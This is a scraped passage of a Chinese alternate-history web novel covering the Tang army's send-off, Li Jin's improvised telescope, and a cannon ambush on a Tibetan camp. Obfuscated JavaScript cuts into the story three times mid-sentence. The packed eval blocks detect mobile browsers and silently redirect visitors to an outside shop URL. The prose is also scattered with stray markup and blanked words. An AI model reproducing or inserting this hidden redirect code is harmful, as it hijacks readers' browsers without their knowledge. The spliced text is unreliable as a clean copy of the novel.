辰时三刻,吉时已到。
鼓角齐鸣,声震云霄。皇帝李治与天后武媚娘的御辇,在大队金吾卫和宫人的簇拥下,抵达校场北侧新筑的高台。李治身着十二章衮冕,虽面色依旧带着病容,但在隆重朝服和今日场合的衬托下,仍显露出帝王威仪。武后则是一身庄重的祎衣,头戴凤冠,珠帘后的面容看不真切,但那挺直的身姿和无形中散发的气场,让人无法忽视。太子李弘及其他皇子、重要宗室、文武百官,按品级肃立台下。
“昆仑道行军大总管、同中书门下三品、知神策军事、太子少保、安西大都护——李公瑾,率军觐见!升旗,奏乐!”礼官洪亮的声音穿透喧嚣。
在雄浑的《秦王破阵乐》变奏乐曲声中,身着明光铠、外罩紫色**袍、腰悬皇帝亲赐宝剑的李瑾,在薛仁贵、郭待封等一干将领的簇拥下,迈着稳健的步伐,走到高台之下。他今日未戴进贤冠,而是束发金冠,更添几分英武之气。身后,一面巨大的、绣着“李”字和繁复玄鸟纹饰的红色帅旗,以及代表皇权与天后权威的节钺,被力士高高擎起。**
“臣,李瑾,率昆仑道出征将士,叩见陛下、天后!愿陛下万岁,天后千秋,大唐国祚永昌!”李瑾单膝跪地,抱拳行礼,声如洪钟。身后三万将士,如同被无形的线牵引,齐刷刷单膝点地,甲胄碰撞之声犹如金铁交鸣,汇聚成山呼海啸般的呐喊:“愿陛下万岁,天后千秋,大唐国祚永昌!”
声浪滚滚,直冲霄汉,灞水为之波澜微兴,岸柳枝叶簌簌发抖。围观人群被这冲天的士气所慑,一时静默,随即爆发出更加热烈的欢呼。
李治在侍从搀扶下起身,走到高台边缘,他的声音通过力士传递,虽然中气不足,却清晰地传遍校场:“将士们!平身!”
“谢陛下!”又是一阵整齐划一的甲胄与呐喊。
李治看着台下这支精气神截然不同的军队,眼中闪过复杂之色,有期许,有振奋,或许也有一丝难以察觉的深意。他清了清嗓子,开始宣读亲笔撰写的讨蕃诏书,痛斥吐蕃背信弃义,侵我疆土,杀我子民,宣布天兵西征,乃是吊民伐罪,恢复疆宇。最后,他提高声音:“望尔等将士,戮力同心,奋勇杀敌,扬我大唐国威!朕与天后,在长安,盼尔等捷报,待尔等凯旋!此去,朕赐尔等‘神策无敌’四字,望尔等不负此名!**”
早有准备的宦官,将一幅巨大的、由李治亲笔题写、武后加盖宝玺的卷轴展开,上书四个斗大的金字:神策无敌!阳光下,金字熠熠生辉。
“神策无敌!神策无敌!神策无敌!”三万将士的呐喊再次响彻云霄,许多年轻士兵激动得满脸通红,紧紧握住手中的兵器。
接着,是武后。她没有长篇大论,只是上前一步,珠帘微动,清越而坚定的声音传遍全场:“本宫与陛下,将长安,将大唐的江山社稷,托付于尔等。望尔等谨记,尔等身后,便是家国!此战,不为封侯荫子,不为个人功名,为的是大唐的疆土完整,为的是西域的长治久安,为的是让每一个大唐子民,都能安居乐业,不受外虏侵扰!本宫在此立誓,凡立功将士,赏赐加倍;凡阵亡殉国者,抚恤从优,子弟优抚!大唐,不负每一个为她流血牺牲的勇士!”
比起皇帝略显官样的勉励,武后这番话,更直接,更接地气,也更具有煽动性。她不仅许诺了厚重的赏赐,更将战争的意义拔高到了保家卫国的层面,直接点燃了将士们心中最质朴也最炽热的情感。尤其是那些出身寒微、靠着军功才有出头之日的府兵和募兵,更是激动不已。
“不负家国!不负天后!**大唐万胜!”呐喊声一浪高过一浪,许多士卒的眼眶已然湿润。
最后,轮到了今日的主角,行军大总管李瑾。
他独自一人,缓步登上高台一侧专为统帅设立的将台。面对着台下黑压压、杀气腾腾又满含期待的三万大军,面对着高台上的帝后与百官,面对着更远处无数长安父老。秋风拂动他紫色的**袍和额前的发丝,他的目光沉静如水,却又似乎蕴藏着可以焚尽一切敌寇的烈焰。
他没有立刻说话,只是用那双深邃的眼睛,缓缓扫过台下每一个方阵。奇异的是,在他目光所及之处,喧嚣的呐喊渐渐平息下来,最终化为一片压抑着澎湃力量的死寂。只有风吹旗帜的猎猎声,以及远处灞水的流淌声。
“将士们。”李瑾开口了,声音并不算特别洪亮,却奇异地传遍了校场的每个角落,清晰地在每个人耳边响起。
“我知道,你们当中,有人来自关陇,有人来自河东,有人来自河南河北,也有人就是这京兆子弟。”他的声音平缓,如同在拉家常,“我知道,你们有人惦记着家中即将收获的庄稼,有人思念着年迈的父母,有人牵挂新婚的妻子,有人或许还没见过自己刚刚出生的孩儿。”
这番话,出乎所有人的意料。高台上的百官有些愕然,帝后不动声色。台下的士卒们,则不由自主地被勾起了思乡之情,许多人的眼神柔和下来。
“我也知道,”李瑾的语气陡然一转,变得锐利如刀,“吐蕃人的铁骑,此刻正在践踏我们安西的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000315|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
土地!吐蕃人的刀箭,正对着我们安西的兄弟袍泽、父母妻儿!他们烧杀抢掠,无恶不作,想要夺走我们祖祖辈辈用血汗开拓、用生命守卫的丝路,想要掐断大唐的西陲屏障!”
“他们以为,高原苦寒,就能阻挡大唐的天兵?他们以为,路途遥远,就能让我们望而却步?他们以为,仗着骑兵犀利,就能在我大唐疆土上肆意妄为?”李瑾的声音一句比一句高昂,一句比一句充满了凛冽的杀意,“告诉我,能不能?**!”
“不能!不能!不能**!”三万人的怒吼再次爆发,如山崩海啸,刚才被勾起的柔情瞬间被无边的怒火取代。
“对!不能!”李瑾猛地拔出腰间御赐宝剑,剑尖斜指苍天,阳光在剑刃上流淌,寒光耀目。“我们的家园,由我们自己守护!我们的兄弟,由我们自己去救!我们的荣耀,由我们自己用敌人的鲜血来书写!”
他剑锋一转,遥指西方:“今日,我们在此誓师!不为别的,就为告诉那些吐蕃人,犯我大唐者,虽远必诛!此去西域,我李瑾,与你们同饮风沙,同卧冰雪,刀山火海,并肩而行!我们要用手中的横刀,用背上的强**,用我们的火炮!**”他回身一指那些被油布覆盖的庞然大物,油布恰在此时被掀开一角,露出黑洞洞的炮口,引得人群一片惊呼。
“用我们的一切,碾碎他们!让他们的血,染红高原的雪山!让他们的魂,永远在大唐的兵锋下颤抖!此战,不破吐蕃,誓不还朝!”
“不破吐蕃,誓不还朝!**”
“不破吐蕃,誓不还朝!**”
狂热的呐喊声几乎要掀翻灞桥。无论是台上的帝后百官,还是台下围观的百姓,都被这冲天的杀气与决心所震撼。许多文官脸色发白,武将们则热血沸腾。
“拿酒来!”李瑾喝道。
早有准备的军士抬上数十坛御酒,倒入海碗。李瑾、薛仁贵、郭待封等高级将领,以及各军阵前挑选出的士卒代表,人人满饮一碗。
“饮罢此酒,即为死士!大唐万胜!”李瑾将酒碗狠狠摔碎在地上。
“大唐万胜!”碎裂之声与呐喊响成一片。
“擂鼓!出征!”李瑾最后看了一眼高台上的帝后,重重抱拳,然后霍然转身,大步走向自己的坐骑——一匹神骏的青海骢。薛仁贵、郭待封等将领紧随其后。
咚!咚!咚!咚!
沉重而激昂的战鼓声,如同巨人的心跳,响彻天地。帅旗前导,节钺高擎,在震天的鼓声与“大唐万胜”的口号声中,这支装备精良、士气如虹的大军,开始了它们的西征之旅。黑色的铁甲洪流,沿着古老的灞桥,向西,再向西,逐渐消失在漫天的秋色与滚滚烟尘之中。**只有那激昂的鼓点与隐约的呐喊,还在长安城外的天空久久回荡。
高台上,李治望着远去的烟尘,久久不语。武后轻轻握住他微凉的手,低声道:“陛下放心,他会成功的。”
李治缓缓点头,目光幽深:“朕知道。只是……此子之才,此军之锐,此去,不知会为我大唐,带回怎样的一个西域啊。**”
灞水汤汤,送别了远征的将士,也送走了一个时代,迎接着另一个未知却必定波澜壮阔的时代。长安城巍然屹立,而帝国的命运之轮,已随着这支西征的大军,轰然转动。
第156章 瑾造千里镜
仪凤元年,冬,陇右道,凉州以西二百里,祁连山北麓的唐军大营。
神策军西征的步伐并未因凛冬将至而稍缓。出长安月余,大军已穿越关中,行经陇山,此刻正在凉州略作休整补给,同时等待从河西各地调集的边军精骑汇合。朔风如刀,刮过营寨的旌旗和将士们冻得发红的面颊,但整个大营却弥漫着一种与寒冷截然不同的紧张与躁动。斥候的回报越来越频繁,吐蕃游骑的踪迹开始在更西的甘州、肃州一带出现,大战的阴云,已经能在西方的天际隐约嗅到。
中军大帐内,炭火噼啪作响,驱散着塞外的寒意。李瑾、薛仁贵、郭待封以及几位神策军高级将领、从河西节度使处借调来的熟悉地形的老校尉,正围在一张巨大的西域及吐蕃东部山川地理沙盘前。沙盘是李瑾出征前命人依据最新绘制的地图和问询商旅、归化蕃将赶制而成,山脉、河流、绿洲、隘口乃至主要草场都有标注,虽然精细度有限,但已是这个时代不可思议的指挥工具。
“大总管,”一位脸上带着刀疤的河西老校尉指着沙盘上疏勒镇(今喀什)东北方向一片代表山区的区域,“据三日前回来的斥候回报,吐蕃一支约五千人的偏师,出现在这一带的山谷中,看样子是想绕过疏勒主城,切断其与于阗的联系,同时威胁我们可能的援军路线。只是……山高谷深,地形复杂,斥候不敢过于深入,对其具体位置、营地防御、是否有埋伏等情报,掌握不详。**”
薛仁贵眉头紧锁:“此地地形险要,易守难攻。若不摸清敌情,贸然进军,恐遭不测。可若等斥候详细探查,一来一回,又恐贻误战机。吐蕃人此举,颇有诱我深入、凭险阻击之意。”
“我们的火炮,最擅长攻坚,但前提是要知道目标在哪里,有多远。”神策军炮营指挥使也接口道,“山中视野受限,若敌军隐藏于山坳或反斜面,火炮难以发挥威力。需要更好的‘眼睛’,在敌人发现我们之前,先看清他们。**”
“眼睛”这个词,让正凝神注视着沙盘上那片山区的李瑾心中一动。他直起身,踱步到帐门边,掀开厚重的毡帘,望向西方。冬日的阳光在祁连山巅的积雪上反射出刺目的光芒,远处的山峦轮廓在稀薄的空气中依稀可辨,但更多的细节,则淹没在一片朦胧之中。他想起后世战争中那些至关重要的技术——望远镜,或者说,千里镜。在这个通讯基本靠吼、侦察主要靠人眼和马腿的时代,一具哪怕是最简陋的望远镜,也将是改变战场透明度的革命性装备。
“我们需要看得更远,更清楚。”李瑾放下毡帘,转身回到沙盘前,眼中闪烁着一种奇特的光芒,“不是靠斥候冒死抵近,而是在安全的距离外,就能将敌人的一举一动,尽收眼底。**”
帐中诸将闻言皆是一愣。薛仁贵疑惑道:“大总管,您的意思是……道法仙术?还是……”他想起李瑾那些层出不穷的“奇技”,但千里眼这种事,听起来还是太过玄乎。
李瑾微微一笑,摇了摇头:“非是仙术,乃是格物致知之理。诸位可曾注意,将透明的水晶或玻璃制成凸透镜,可以聚光生火,亦可让老人看清近处的小字?若是将不同形状、不同焦距的透镜巧妙组合……或许,能让我们看到极远之处的景物。**”
这个解释依然让大多数将领云里雾里,但至少听起来不是虚无缥缈的神怪之说,而是有实物基础的“技艺”。薛仁贵将信将疑:“大总管,此事……果真可行?需要何物,多长时间?军情紧急,恐怕……”
“事在人为。”李瑾走到自己的行囊前,取出一个扁平的木盒,打开后,里面是几块用丝绸仔细包裹的、大小不一、磨制得颇为精细的水晶凸透镜和凹透镜。这是他离京前,从将作监下属专门为宫廷制作珍玩、眼镜(叆叇)的工匠那里搜罗来的样品。**原本只是有备无患,没想到这么快就可能派上用场。
“我需要手艺最好的水晶匠、玉匠,以及懂得制作叆叇的工匠,凉州城内应该能找到。再找些质地均匀、透光性好的长竹筒或硬木管,内壁务必光滑。胶漆、细麻布也需备齐。”李瑾快速吩咐身边的亲卫,“将我的要求告知凉州长史,让他全力配合,今日之内,将人和物送到大营。告诉他们,此事关乎西征胜负,不得有误!**”
“诺!”亲卫领命,匆匆出帐。
接下来的两日,中军大帐旁的一顶独立毡帐,成了全军最神秘的地方。李瑾亲自坐镇,几名从凉州紧急征召来的老匠人在里面忙碌不停,不时传出打磨的声音和低声的讨论。帐外有亲兵严密把守,闲人免进。薛仁贵等人虽心中好奇,但也只能按捺性子,一面加紧整训部队,一面派出更多斥候前出侦察。
第三天午后,李瑾终于走出了那顶毡帐。他手中拿着两个一尺来长、用硬皮纸卷成的粗管,用胶漆粘合得十分牢固,两端各嵌着磨制好的水晶镜片,外表看起来颇为粗陋,甚至有些滑稽。但李瑾的脸上,却带着一丝难以掩饰的疲惫与兴奋。
他将薛仁贵、郭待封等主要将领召集到中军大帐,也不多言,径直走到帐外一处地势稍高的土坡上,将其中一个粗管的小口对准眼睛,大口朝向西方连绵的雪山。他调整了一下姿势和焦距(通过前后抽拉纸筒,内部有卡槽固定镜片距离),然后,身体微微一僵。
周围将领们屏息凝神,不知大总管在做什么,只见他举着那怪模怪样的东西,对着远方看了许久,嘴角的线条逐渐绷紧。
“薛将军,你来。”李瑾放下手中的粗管,递给薛仁贵,声音有些低沉,“看看西边那座最高的雪山,山腰偏北的那片裸露岩壁附近。**”
薛仁贵满心疑惑,学着李瑾的样子,将小口凑近右眼。起初,只是一片模糊的光晕和色块。他按照李瑾的指点,小心地前后移动纸筒。突然,就像是有一只无形的大手,将远在十数里之外的雪山陡然“拉”到了眼前!原本只是天际一抹白线的山脊,此刻清晰地呈现出嶙峋的岩石、深邃的沟壑、以及……岩壁上几个移动的、蚂蚁般大小却清晰可辨的黑点!那似乎是……牦牛?还是人影?
“嘶——!”薛仁贵倒抽一口凉气,猛地放下纸筒,难以置信地望向远方,然后又急切地将眼睛凑了上去。**这一次,他看得更仔细,甚至能隐约分辨出那些黑点的移动轨迹和大致数量。
“这……这……”这位身经百战、见惯大风大浪的猛将,此刻竟然有些语无伦次,脸上的震惊之色无以复加。“神物!简直是神物!十数里外的人畜移动,竟然如在眼前!大总管,这、这便是您说的……千里镜?”
“可称‘千里镜’,亦可叫‘望远镜’。”李瑾点点头,神色却无多少欣喜,反而更加凝重,“薛将军看到的,恐怕是吐蕃人的斥候或巡逻队。看来,他们的触角,已经伸到了祁连山的这一侧。**我们的位置,未必安全。”
郭待封及其他将领也依次接过那简陋的望远镜观看,每一个人的反应都与薛仁贵相似,震惊、狂喜、继而是对战场形势的重新审视与警惕。这小小的器物,彻底改变了他们对“视野”和“距离”的认知。
“大总管,此物……可能大量制作?”郭待封激动地问道,“若我斥候人手一具,何愁不能料敌先机?何愁不能避实击虚?**”
“暂时只能做出这两具简易的。”李瑾摇摇头,“镜片磨制要求极高,尤其是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000316|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
组合后的消色差和清晰度,需要反复调试。凉州的匠人和材料有限,短时间内难以大量生产。不过,有这两具,已是足以改变很多东西了。”
他拿回望远镜,仔细地用丝绸包裹好,沉声道:“传令,大军拔营,向西再移三十里,至黑水河畔扎营,那里地势更加开阔,利于防守和观察。同时,挑选二十名最精锐、最机警的斥候,由薛将军亲自带领,携带此二镜,前出至甘州以西,详细侦查吐蕃那支偏师的动向!记住,务必在敌人发现你们之前,先找到他们,看清他们!”
“末将遵命!”薛仁贵抱拳领命,眼中燃烧着熊熊战意。拥有了这等利器,他对即将到来的侦察任务,充满了前所未有的信心。
是夜,薛仁贵带领的精锐斥候队,牵着披了毡衣的战马,悄无声息地消失在西方深沉的夜色中。他们怀中,小心翼翼地揣着那两件看似简陋、却蕴藏着划时代力量的千里镜。
三日后,薛仁贵带回的情报,让整个中军大帐的气氛为之一变。
“大总管!查清楚了!”薛仁贵风尘仆仆,眼中却精光四射,他指着沙盘上那片山区的一处谷地,“吐蕃那支偏师,约五千人,其中骑兵两千,步卒三千,就驻扎在此处,名为‘野狼谷’!此谷东西走向,两侧山势陡峭,唯有东西两个隘口可通。吐蕃人在东西隘口都设置了营垒和哨塔,但主力营地和大部分粮草牲畜,都集中在谷地中部偏西的一片背风坡地上。他们自以为隐蔽,防备主要对着东面隘口,对西侧和两侧山脊的防范相对松懈。**”
“最重要的是,”薛仁贵的声音带着一丝兴奋,“我们在东面隘口外三里处的一座孤峰上,借助千里镜,可以清楚地看到谷内吐蕃人的营帐分布、马匹聚集地,甚至能看到他们埋锅造饭的炊烟!距离、方位,皆可测算!”
帐中诸将精神大振。这意味着,他们不需要冒险进入地形复杂的山谷,就能获得极为详细的敌情,并为下一步行动提供精确的指导。**火炮的用武之地,来了!
李瑾走到沙盘前,看着薛仁贵标注出的“野狼谷”和那座可以俯瞰谷地的“孤峰”,眼中闪过一道冷冽的寒光。“好一个‘野狼谷’……既然他们选了这么个地方,那就让他们变成真正的困兽吧。”
他转向炮营指挥使:“王指挥,若将你部最重型的十门火炮,秘密运上薛将军所说的这座孤峰,炮口对准谷内吐蕃主力营地和东隘口营垒,射程可达?精度如何?**”
炮营指挥使早已激动不已,闻言立刻上前,拿出随身的标尺和角度仪(简易版)在沙盘上比划测算片刻,肯定地道:“回大总管,若孤峰高度与薛将军所述相符,我部重炮射程足以覆盖谷内大部分区域!居高临下,精度更佳!只是……将重炮运上山,颇为艰难,且易暴露。”
“无妨。分解炮件,以骡马和人力夜间运输,抵达后再行组装。山上可预先储备弹药。”李瑾果断下令,“薛将军,你部斥候继续监控野狼谷,尤其是夜间和黎明时分敌人的活动规律。郭长史,立刻组织民夫和辅兵,秘密开辟一条通往孤峰的小道,务求隐蔽。炮营,立刻着手准备,三日之内,必须将火炮运抵指定位置!**”
“此战,就以这‘野狼谷’为始,让吐蕃人好好见识一下,什么叫做‘天目如电,雷霆一击’!”李瑾的手指重重按在沙盘“野狼谷”的位置,声音冰冷,却蕴含着无尽的杀机。
千里镜的微光,已然照见了敌人的巢穴。接下来,便是大唐神策军,依托这前所未有的信息优势和火力优势,发出的第一声震撼西域的怒吼。**战争的形态,正在这位年轻统帅的手中,悄然发生着根本性的改变。
第157章 初战显神威
仪凤元年,冬十一月,甘州以西二百里,野狼谷东北二十里,唐军前锋大营。
黎明前最黑暗的时刻,寒风呼啸着卷过祁连山北麓的荒原,刮在脸上如刀割般生疼。薛仁贵身披玄甲,外罩白色披风,伏在一处背风的土坡后,手中紧紧握着那具被李瑾称为“千里镜”的简陋铜皮筒(经过紧急改进的更耐用版)。他身旁,是二十名同样身披白袍的精锐斥候,人与马皆屏息静气,与周遭的雪地和枯草几乎融为一体。他们的目光,都聚焦在东南方向那座被李瑾命名为“观测峰”的孤峭山峦上。**
连续三日的秘密搬运与组装,十门最沉重的“雷霆将军炮”及足够的弹药,已在夜色掩护下,由人力和特制的绞盘悄然运上了峰顶预设的阵地。炮口,正直直地对着二十里外、尚在沉睡中的野狼谷。
寅时末,天色依旧浓黑如墨。观测峰顶,一点微弱的、有规律闪烁的灯火光芒,穿透稀薄的晨雾,映入了薛仁贵的千里镜中。
“信号!”薛仁贵低喝一声,声音因激动和寒冷而略带沙哑,“炮营已就位,测定诸元!传令下去,按甲字方案,全军前出至预定阻击位置,弓**上弦,刀出鞘,准备接敌!记住,没有中军号炮,不得主动冲锋!”
“诺!”身旁的斥候低声应命,迅速向后方的黑暗中传去命令。
几乎同时,野狼谷内,吐蕃大营。
主将帐篷里,吐蕃大将论钦陵(噶尔·钦陵赞卓,吐蕃名将,大论禄东赞之子)正就着酥油灯的光芒,研究着一张粗糙的羊皮地图。他年约四旬,面色黝黑,脸上一道从眉骨斜划至下颌的狰狞刀疤,为他平添了几分凶悍之气。作为吐蕃东道行军总管,他麾下这五千精锐(其中两千是真正的吐蕃主力,三千是附庸部落兵)的任务,就是像一颗钉子楔入这片山区,既威胁唐军可能的西进路线,也为后续大军的集结探明虚实。**
“唐人有什么动静?”论钦陵头也不抬地问身边的值夜千夫长。
“回大论,探马回报,唐军主力仍在黑水河一带扎营,距此尚有近百里。昨日有零星唐军游骑出现在谷口二十里外,被我斥候驱离,未见大队人马。”千夫长恭敬地回答。
论钦陵点点头,脸上疤痕在跳动的灯火下显得更加可怖:“唐人谨慎,大概是摸不清我们的虚实,不敢轻易进山。告诉儿郎们,不可松懈,但也不必过于紧张。这野狼谷地势险要,易守难攻,唐人若敢来,定叫他们在谷口流尽鲜血!**”他对谷口的防御工事颇有信心,那是他亲自督促修建的。
“是!”千夫长领命,正要退出,忽然,一阵奇怪的、尖利的、仿佛要撕裂黎明前最后一点黑暗的啸音,从极高的、似乎来自头顶天空的方向传来!
那声音起初遥远而细微,像是狂风吹过狭窄岩缝的呜咽,但转瞬间就变得无比刺耳、凄厉,仿佛无数恶鬼在同时尖啸!
帐内外的吐蕃将士都被这从未听过的恐怖声音惊得一愣。论钦陵猛地抬头,刀疤脸上掠过一丝疑惑和不安。**什么声音?唐人的新式号角?还是……
没等他想明白,凄厉的尖啸已然变为沉闷如滚雷般的轰鸣,由远及近,瞬息而至!
“轰——!!!”
地动山摇!一声无法用语言形容的、仿佛天崩地裂般的巨响,在野狼谷东隘口的营垒处猛然炸开!那声音如同一万个霹雳同时在头顶炸响,又像是整座祁连山都被巨人狠狠跺了一脚!坚固的原木营墙像是纸糊般被撕开一个大口子,碎木、石块、残破的肢体和兵器伴随着炽热的气浪和火光冲天而起!靠近**点的数十名吐蕃士兵甚至没来得及发出惨叫,就在一瞬间化为了四处飞溅的血肉碎块!
“轰!轰!轰!轰!轰!!!”
第一声巨响的余波尚未散去,接二连三、更加密集、更加恐怖的**声便接踵而至!如同九天雷神震怒,将无尽的雷霆倾泻在这片狭窄的山谷之中。爆炸的中心不再局限于东隘口,而是延伸向谷地深处,精准地落在吐蕃军营帐最密集的区域、马厩、以及看似隐蔽的粮草堆放处!
每一发实心铁弹落地,都能在冻得坚硬的土地上砸出一个骇人的深坑,激射的碎石和弹片如同死神的镰刀,无情地撕裂沿途的一切生命。而那些装填了火药和碎铁的开花弹,则在半空或落地后凌空爆炸,喷射出无数致命的破片,杀伤范围更广,对无甲或轻甲目标的毁伤效果尤为恐怖。
野狼谷,瞬间变成了人间炼狱。
火光冲天,浓烟滚滚。巨大的爆炸声震得人耳膜穿裂,头晕目眩。许多吐蕃士兵在睡梦中就被炸得粉身碎骨,更多的人则被震得东倒西歪,耳鼻流血。受惊的战马挣断缰绳,狂嘶乱奔,将本就混乱不堪的营地践踏得更加狼藉。残肢断臂随处可见,鲜血染红了白雪和焦土。到处是凄厉的惨嚎、绝望的哭喊和无意义的尖叫。**
“天罚!这是天罚!”有崩溃的吐蕃士兵丢下兵器,跪在地上对着天空疯狂磕头。
“是唐人的妖法!快跑啊!”更多的人在恐惧的驱使下,像没头苍蝇一样乱窜,完全忘记了平日的军纪和勇敢。**建制被打乱,军官找不到士兵,士兵找不到长官。
论钦陵被亲兵拼死从快要倒塌的帐篷里拖出来时,脸上那道疤痕因为极度的震惊和愤怒而扭曲得几乎要跳起来。他的头盔不知所踪,头发散乱,华贵的皮袍上沾满了泥土和血迹(不知是谁的)。他抬头望向**声传来的方向——那是谷地的东北方向,但绝不是谷口!唐人的攻击,来自天上?还是……远处的山上?
“大论!东隘口营垒被毁了!弟兄们死伤惨重!”
“马厩着火了!马都惊了!”
“粮草!粮草被天火砸中了!”
坏消息一个接一个传来。论钦陵强迫自己冷静下来,他到底是经验丰富的宿将,很快判断出这绝非天灾,而是一种他闻所未闻的、可怕到极点的武器!“不要乱!集结!向谷内收缩!弓箭手上山坡,准备阻击唐军步兵!**骑兵上马,准备从西隘口……”他试图组织起有效的抵抗和撤退。
然而,他的命令在持续不断的、精准而致命的**面前,显得苍白无力。观测峰上,炮兵观测手透过千里镜,冷静地报出吐蕃人每一处试图集结的地点和规模。旗语兵将信息传递给身后的炮长,经过简单计算和调整的火炮,再次发出死亡的怒吼,将吐蕃人刚刚聚起的一点点秩序彻底打碎。**
炮击持续了约两刻钟(半小时)。对野狼谷内的吐蕃军来说,却漫长得如同一个世纪。当炮声终于渐渐停息时,整个山谷已是一片死寂般的废墟和哀嚎。东隘口的防御工事荡然无存,谷内营地一片狼藉,到处是燃烧的帐篷、倒毙的人马尸体和惊恐万状、失魂落魄的幸存者。粗略估计,在这轮恐怖的轰击下,吐蕃军死伤已然过千,更重要的是,他们的斗志和组织,已经被彻底打垮了。**
“呜——呜呜——呜——!”
苍凉而雄浑的号角声,此时才从野狼谷的东、北两个方向沉沉响起。那是唐军进攻的号角!
谷口方向,在初升朝阳的映照下,出现了一条黑色的、闪烁着寒光的钢铁森林。那是神策军的重步兵方阵!士兵们身披统一的黑色扎甲,手持长矛或陌刀,迈着整齐划一的步伐,如同一堵移动的钢铁城墙,沉稳而坚定地向谷内推进。**他们的沉默,比任何呐喊都更令人窒息。
与此同时,谷地两侧相对平缓的山坡上,出现了大量唐军**手和弓箭手。他们利用地形掩护,用强劲的**机和长弓,对谷内任何试图集结或反击的吐蕃人进行精准而密集的覆盖射击,进一步瓦解着对方残存的抵抗意志。
“撤退!从西隘口撤!能跑出去多少算多少!”论钦陵目眦欲裂,他知道败局已定,现在唯一的选择就是保存有生力量。**他翻身上了一匹亲兵牵来的、还算镇静的战马,在残余亲兵的护卫下,仓皇向谷西逃去。
他的溃逃,成了压垮吐蕃军最后心理防线的稻草
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000317|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。本就濒临崩溃的吐蕃士兵彻底失去了抵抗的勇气,丢盔弃甲,哭爹喊娘,跟随着主将的旗帜,如同决堤的洪水般涌向西隘口。什么荣耀,什么军令,在生存的本能面前,都不值一提。
然而,等待他们的,并非生路。西隘口外较为开阔的平地上,薛仁贵亲率的两千神策军精骑,以及从河西边军中抽调的一千精锐轻骑,早已列阵以待。当惊慌失措、毫无阵型可言的吐蕃溃兵涌出隘口时,看到的是朝阳下如同金色潮水般闪耀的刀锋和马槊。
“杀!”
没有多余的废话,薛仁贵一马当先,手中方天画戟划出一道凄冷的弧光,率领着蓄势已久的骑兵洪流,以无可阻挡的气势,狠狠撞入了吐蕃溃兵之中!****,或者说一边倒的碾压,开始了。
失去了斗志、建制和指挥的吐蕃军,在这支养精蓄锐、装备精良的唐军铁骑面前,毫无还手之力。许多人甚至来不及举起武器,就被疾驰而过的骑兵砍倒、撞飞、践踏成泥。狭窄的隘口出口,瞬间成了血肉横飞的修罗场。
论钦陵在亲兵拼死护卫下,凭借着过人的武艺和一点运气,勉强杀出一条血路,身上又添了几道新伤,狼狈不堪地向西逃窜,身后只跟着不到百骑。至于那五千大军……能逃出多少,只有天知道了。
日上三竿,野狼谷的战斗彻底结束。
唐军步卒清理着战场,收缴兵器甲胄,救治少量伤员,看押俘虏。谷内弥漫着浓重的血腥味、硝烟味和焦糊味。李瑾在薛仁贵、郭待封等人的簇拥下,策马缓缓进入这片刚刚经历了毁灭性打击的山谷。眼前的一幕,即使是见惯了战场惨烈的老将,也不禁为之动容。那种超越了这个时代认知的破坏力,带来的是一种原始而直接的震撼。
“大总管,此役,我军阵亡十七人,伤四十三人,多为追击时的零星伤亡。”军法官上前禀报,声音中带着难以抑制的激动,“斩首两千八百余级,俘虏一千五百余人,缴获战马、兵器、粮草无数。吐蕃主将论钦陵负伤逃走,其麾下五千人马,除少数溃散入山,几乎全军覆没!**”
以微乎其微的代价,几乎全歼同等数量的吐蕃精锐!这样的战果,在唐蕃数十年的交战史上,也是前所未有的大捷!薛仁贵、郭待封等将领,看向李瑾的眼神,已经不仅仅是对上官的敬畏,更多了一种对这种全新战法和恐怖武器的震撼与狂热。**
李瑾的神色却颇为平静,他望着遍地狼藉和那座依稀可见的观测峰,缓缓道:“此战之功,首在于先知敌情,千里镜居功至伟。次在火炮之威,先声夺人,摧垮敌胆。三在诸将用命,士卒效死。然此等战法,可一不可再,吐蕃人吃了这次亏,下次必有防备。传令下去,此战详情,尤其是火炮与千里镜之事,列为军中最高机密,泄露者,军法从事!**同时,将此捷报以六百里加急,速速传回长安!”
“诺!”众人凛然应命。
“还有,”李瑾顿了顿,目光扫过那些神情惊恐、瑟瑟发抖的吐蕃俘虏,以及更多埋头打扫战场、眼中却闪烁着与以往不同光彩的唐军士卒们,沉声道,“将此战经过与战果,详细记录,明发各军,以振我军心士气!让所有人都知道,犯我大唐天威者,便是这般下场!**”
“大唐万胜!大总管威武!”不知是谁先喊了一声,随即,整个山谷都响起了唐军将士山呼海啸般的呐喊,声浪冲天而起,震得山巅的积雪似乎都簌簌滑落。**
